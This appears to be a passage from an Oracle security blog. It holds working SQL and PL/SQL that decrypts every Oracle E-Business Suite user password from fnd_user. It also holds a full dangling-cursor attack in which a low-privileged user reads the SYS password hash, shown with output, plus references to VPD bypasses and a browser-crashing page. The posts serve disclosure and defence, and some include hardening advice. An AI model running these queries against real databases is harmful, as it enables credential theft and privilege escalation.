David Litchfield has just published two chapters from his book The Oracle Hacker’s Handbook: Hacking and Defending Oracle.
In this chapter, David gives two examples, one with CREATE ANY TRIGGER and another with CREATE ANY VIEW to demonstrate how these privileges can be abused to gain DBA privileges. In fact, a user who has the CREATE ANY x privilege can trivially gain DBA privileges, and SQL injection has a lot to do with it.
Virtual Private Databases (VPDs) allow a user to access only the data that the policy specifies they can access, and no more. In this chapter, David demonstrates how to trick Oracle into dropping a policy and how to defeat VPDs with raw file access. Again, SQL injection is the main culprit.Comments Off | Filed in Oracle, Tips | Tags: hack, Security, sql-injection
Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:
SQL> desc fnd_user; Name Null? Type ----------------------------------------- -------- ---------------- USER_ID NOT NULL NUMBER(15) USER_NAME NOT NULL VARCHAR2(100) LAST_UPDATE_DATE NOT NULL DATE LAST_UPDATED_BY NOT NULL NUMBER(15) CREATION_DATE NOT NULL DATE CREATED_BY NOT NULL NUMBER(15) LAST_UPDATE_LOGIN NUMBER(15) ENCRYPTED_FOUNDATION_PASSWORD NOT NULL VARCHAR2(100) ENCRYPTED_USER_PASSWORD NOT NULL VARCHAR2(100) ...
ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column
ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.
To decrypt the
ENCRYPTED_USER_PASSWORD you need access to the
DECRYPT function in the
APPS.FND_WEB_SEC package. Since
DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.
FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2) RETURN VARCHAR2;
key is the decrypted
value is the
So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:
WITH guest AS ( SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd, UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), 1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/' ) - 1 ) ) user_name FROM DUAL) SELECT fnd_web_sec.decrypt (guest.user_pwd, fnd_user.encrypted_foundation_password ) apps_password FROM fnd_user, guest WHERE fnd_user.user_name = guest.user_name
Now, using the above query, we can now decrypt all the values in the
WITH guest AS ( SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd, UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), 1, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/' ) - 1 ) ) user_name FROM DUAL) SELECT fnd_user.user_name, fnd_web_sec.decrypt ((SELECT fnd_web_sec.decrypt (guest.user_pwd, fnd_user.encrypted_foundation_password ) apps_password FROM fnd_user, guest WHERE fnd_user.user_name = guest.user_name), fnd_user.encrypted_user_password ) decrypted_user_password FROM fnd_user ORDER BY fnd_user.user_name
Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package
APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.
Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.
Updated January 9 2007: Oracle Applications Password Decryption (PDF)18 Comments | Filed in Oracle, Security | Tags: EBS, hack
I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.
Connected as SYS:
SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS 2 cursor_name INTEGER; 3 v_pwd VARCHAR2(30); 4 i INTEGER; 5 BEGIN 6 7 IF p_user != 'SYS' THEN 8 cursor_name := dbms_sql.open_cursor; 9 DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name); 10 dbms_sql.parse(cursor_name, 11 'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u', 12 dbms_sql.native); 13 dbms_sql.bind_variable(cursor_name, ':u', p_user); 14 dbms_sql.define_column(cursor_name, 1, v_pwd, 30); 15 i := dbms_sql.EXECUTE(cursor_name); 16 17 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN 18 dbms_sql.column_value(cursor_name, 1, v_pwd); 19 END IF; 20 21 IF v_pwd = '0123456789ABCDEF' THEN 22 DBMS_OUTPUT.PUT_LINE('Hmmm....'); 23 END IF; 24 25 dbms_sql.close_cursor(cursor_name); 26 END IF; 27 28 END; 29 / Procedure created. SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC; Grant succeeded.
Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.
Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure
pwd_compare making sure we generate an exception in it:
SQL> DECLARE x VARCHAR(32000); 2 i INTEGER; 3 BEGIN 4 FOR i IN 1 .. 10000 5 LOOP 6 x := 'B' || x; 7 END LOOP; 8 9 sys.pwd_compare(x); 10 END; 11 / CURSOR: 6 DECLARE x VARCHAR(32000); * ERROR at line 1: ORA-01460: unimplemented or unreasonable conversion requested ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202 ORA-06512: at "SYS.DBMS_SQL", line 323 ORA-06512: at "SYS.PWD_COMPARE", line 15 ORA-06512: at line 9
What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure
SQL> DECLARE cursor_name INTEGER; 2 i INTEGER; 3 pwd VARCHAR2(30); 4 BEGIN 5 cursor_name := 6; 6 dbms_sql.bind_variable(cursor_name, ':u', 'SYS'); 7 dbms_sql.define_column(cursor_name, 1, pwd, 30); 8 i := dbms_sql.EXECUTE(cursor_name); 9 10 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN 11 dbms_sql.column_value(cursor_name, 1, pwd); 12 END IF; 13 14 dbms_sql.close_cursor(cursor_name); 15 DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd); 16 END; 17 / PWD: 586EEA79959C07B1 PL/SQL procedure successfully completed.
Sources and resources:
I stumbled upon this website which has the following interesting screencasts demonstrating the use of a penetration testing tool for Linux:
(IE may not display the screencasts correctly. Best viewed in Firefox)
It also has this interesting, and rather disturbing, animated GIF image:
And finally, a web page that crashes your system, especially if you open it up in an outdated web browser:
_____ DO NOT CLICK HERE _____
If you are still curious about what that web page does, here is the HTML code (may still crash your system if using IE – open it at your own risk).
Here is what I think, in order to fully protect your system from all of these exploits and attacks you have got to learn all of these hacking techniques and tools. To outsmart “bad” hackers, you have to be a “good” hacker yourself.Comments Off | Filed in Interesting, Technology | Tags: hack, Security